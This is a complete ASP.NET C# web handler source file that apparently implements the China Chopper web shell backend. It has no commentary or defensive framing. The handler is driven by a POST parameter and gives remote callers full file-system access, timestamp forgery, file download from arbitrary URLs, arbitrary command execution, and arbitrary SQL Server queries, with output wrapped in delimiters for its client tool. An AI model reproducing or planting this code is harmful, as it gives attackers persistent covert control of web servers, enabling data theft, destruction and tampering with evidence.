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<%@ WebHandler Language="C#" Class="Handler" %> | ||
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using System; | ||
using System.Web; | ||
using System.IO; | ||
using System.Net; | ||
using System.Text; | ||
using System.Data; | ||
using System.Data.SqlClient; | ||
using System.Diagnostics; | ||
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public class Handler : IHttpHandler | ||
{ | ||
public void ProcessRequest(HttpContext context) | ||
{ | ||
String Z = context.Request.Form["z"];//设置密码z | ||
if (Z != "") | ||
{ | ||
String Z1 = context.Request.Form["Z1"]; | ||
String Z2 = context.Request.Form["Z2"]; | ||
String R = ""; | ||
try | ||
{ | ||
switch (Z) | ||
{ | ||
case "A": | ||
{ | ||
String[] c = Directory.GetLogicalDrives(); | ||
R = String.Format("{0}\t", context.Server.MapPath("/")); | ||
for (int i = 0; i < c.Length; i++) | ||
R += c[i][0] + ":"; | ||
break; | ||
} | ||
case "B": | ||
{ | ||
DirectoryInfo m = new DirectoryInfo(Z1); | ||
foreach (DirectoryInfo D in m.GetDirectories()) | ||
{ | ||
R += String.Format("{0}/\t{1}\t0\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss")); | ||
} | ||
foreach (FileInfo D in m.GetFiles()) | ||
{ | ||
R += String.Format("{0}\t{1}\t{2}\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length); | ||
} | ||
break; | ||
} | ||
case "C": | ||
{ | ||
StreamReader m = new StreamReader(Z1, Encoding.Default); | ||
R = m.ReadToEnd(); | ||
m.Close(); | ||
break; | ||
} | ||
case "D": | ||
{ | ||
StreamWriter m = new StreamWriter(Z1, false, Encoding.Default); | ||
m.Write(Z2); | ||
R = "1"; | ||
m.Close(); | ||
break; | ||
} | ||
case "E": | ||
{ | ||
if (Directory.Exists(Z1)) | ||
{ | ||
Directory.Delete(Z1, true); | ||
} | ||
else | ||
{ | ||
File.Delete(Z1); | ||
} | ||
R = "1"; | ||
break; | ||
} | ||
case "F": | ||
{ | ||
context.Response.Clear(); | ||
context.Response.Write("\x2D\x3E\x7C"); | ||
context.Response.WriteFile(Z1); | ||
context.Response.Write("\x7C\x3C\x2D"); | ||
goto End; | ||
} | ||
case "G": | ||
{ | ||
byte[] B = new byte[Z2.Length / 2]; | ||
for (int i = 0; i < Z2.Length; i += 2) | ||
{ | ||
B[i / 2] = (byte)Convert.ToInt32(Z2.Substring(i, 2), 16); | ||
} | ||
FileStream fs = new FileStream(Z1, FileMode.Create); | ||
fs.Write(B, 0, B.Length); | ||
fs.Close(); | ||
R = "1"; | ||
break; | ||
} | ||
case "H": | ||
{ | ||
CP(Z1, Z2, context); | ||
R = "1"; | ||
break; | ||
} | ||
case "I": | ||
{ | ||
if (Directory.Exists(Z1)) | ||
{ | ||
Directory.Move(Z1, Z2); | ||
} | ||
else | ||
{ | ||
File.Move(Z1, Z2); | ||
} | ||
break; | ||
} | ||
case "J": | ||
{ | ||
Directory.CreateDirectory(Z1); | ||
R = "1"; | ||
break; | ||
} | ||
case "K": | ||
{ | ||
DateTime TM = Convert.ToDateTime(Z2); | ||
if (Directory.Exists(Z1)) | ||
{ | ||
Directory.SetCreationTime(Z1, TM); | ||
Directory.SetLastWriteTime(Z1, TM); | ||
Directory.SetLastAccessTime(Z1, TM); | ||
} | ||
else | ||
{ | ||
File.SetCreationTime(Z1, TM); | ||
File.SetLastWriteTime(Z1, TM); | ||
File.SetLastAccessTime(Z1, TM); | ||
} | ||
R = "1"; | ||
break; | ||
} | ||
case "L": | ||
{ | ||
HttpWebRequest RQ = (HttpWebRequest)WebRequest.Create(new Uri(Z1)); | ||
RQ.Method = "GET"; | ||
RQ.ContentType = "application/x-www-form-urlencoded"; | ||
HttpWebResponse WB = (HttpWebResponse)RQ.GetResponse(); | ||
Stream WF = WB.GetResponseStream(); | ||
FileStream FS = new FileStream(Z2, FileMode.Create, FileAccess.Write); | ||
int i; | ||
byte[] buffer = new byte[1024]; | ||
while (true) | ||
{ | ||
i = WF.Read(buffer, 0, buffer.Length); | ||
if (i < 1) | ||
{ | ||
break; | ||
} | ||
FS.Write(buffer, 0, i); | ||
} | ||
WF.Close(); | ||
WB.Close(); | ||
FS.Close(); | ||
R = "1"; | ||
break; | ||
} | ||
case "M": | ||
{ | ||
ProcessStartInfo c = new ProcessStartInfo(Z1.Substring(2)); | ||
Process e = new Process(); | ||
StreamReader OT, ER; | ||
c.UseShellExecute = false; | ||
c.RedirectStandardOutput = true; | ||
c.RedirectStandardError = true; | ||
e.StartInfo = c; | ||
c.Arguments = String.Format("{0} {1}", Z1.Substring(0, 2), Z2); | ||
e.Start(); | ||
OT = e.StandardOutput; | ||
ER = e.StandardError; | ||
e.Close(); | ||
R = OT.ReadToEnd() + ER.ReadToEnd(); | ||
break; | ||
} | ||
case "N": | ||
{ | ||
String strDat = Z1.ToUpper(); | ||
SqlConnection Conn = new SqlConnection(Z1); | ||
Conn.Open(); | ||
R = Conn.Database + "\t"; | ||
Conn.Close(); | ||
break; | ||
} | ||
case "O": | ||
{ | ||
String[] x = Z1.Replace("\r", "").Split('\n'); | ||
String strConn = x[0], strDb = x[1]; | ||
SqlConnection Conn = new SqlConnection(strConn); | ||
Conn.Open(); | ||
DataTable dt = Conn.GetSchema("Columns"); | ||
Conn.Close(); | ||
for (int i = 0; i < dt.Rows.Count; i++) | ||
{ | ||
R += String.Format("{0}\t", dt.Rows[i][2].ToString()); | ||
} | ||
break; | ||
} | ||
case "P": | ||
{ | ||
String[] x = Z1.Replace("\r", "").Split('\n'), p = new String[4]; | ||
String strConn = x[0], strDb = x[1], strTable = x[2]; | ||
p[0] = strDb; | ||
p[2] = strTable; | ||
SqlConnection Conn = new SqlConnection(strConn); | ||
Conn.Open(); | ||
DataTable dt = Conn.GetSchema("Columns", p); | ||
Conn.Close(); | ||
for (int i = 0; i < dt.Rows.Count; i++) | ||
{ | ||
R += String.Format("{0} ({1})\t", dt.Rows[i][3].ToString(), dt.Rows[i][7].ToString()); | ||
} | ||
break; | ||
} | ||
case "Q": | ||
{ | ||
String[] x = Z1.Replace("\r", "").Split('\n'); | ||
String strDat, strConn = x[0], strDb = x[1]; | ||
int i, c; | ||
strDat = Z2.ToUpper(); | ||
SqlConnection Conn = new SqlConnection(strConn); | ||
Conn.Open(); | ||
if (strDat.IndexOf("SELECT ") == 0 || strDat.IndexOf("EXEC ") == 0 || strDat.IndexOf("DECLARE ") == 0) | ||
{ | ||
SqlDataAdapter OD = new SqlDataAdapter(Z2, Conn); | ||
DataSet ds = new DataSet(); | ||
OD.Fill(ds); | ||
if (ds.Tables.Count > 0) | ||
{ | ||
DataRowCollection rows = ds.Tables[0].Rows; | ||
for (c = 0; c < ds.Tables[0].Columns.Count; c++) | ||
{ | ||
R += String.Format("{0}\t|\t", ds.Tables[0].Columns[c].ColumnName.ToString()); | ||
} | ||
R += "\r\n"; | ||
for (i = 0; i < rows.Count; i++) | ||
{ | ||
for (c = 0; c < ds.Tables[0].Columns.Count; c++) | ||
{ | ||
R += String.Format("{0}\t|\t", rows[i][c].ToString()); | ||
} | ||
R += "\r\n"; | ||
} | ||
} | ||
ds.Clear(); | ||
ds.Dispose(); | ||
} | ||
else | ||
{ | ||
SqlCommand cm = Conn.CreateCommand(); | ||
cm.CommandText = Z2; | ||
cm.ExecuteNonQuery(); | ||
R = "Result\t|\t\r\nExecute Successfully!\t|\t\r\n"; | ||
} | ||
Conn.Close(); | ||
break; | ||
} | ||
default: goto End; | ||
} | ||
} | ||
catch(Exception E) | ||
{ | ||
R="ERROR:// "+E.Message; | ||
} | ||
context.Response.Write("\x2D\x3E\x7C"+R+"\x7C\x3C\x2D"); | ||
End:; | ||
} | ||
} | ||
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public bool IsReusable | ||
{ | ||
get | ||
{ | ||
return false; | ||
} | ||
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} | ||
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public void CP(String S,String D,HttpContext context) | ||
{ | ||
if(Directory.Exists(S)) | ||
{ | ||
DirectoryInfo m=new DirectoryInfo(S); | ||
Directory.CreateDirectory(D); | ||
foreach(FileInfo F in m.GetFiles()) | ||
{ | ||
File.Copy(S+"\\"+F.Name,D+"\\"+F.Name); | ||
} | ||
foreach(DirectoryInfo F in m.GetDirectories()) | ||
{ | ||
CP(S + "\\" + F.Name, D + "\\" + F.Name, context); | ||
} | ||
} | ||
else | ||
{ | ||
File.Copy(S,D); | ||
} | ||
} | ||
} |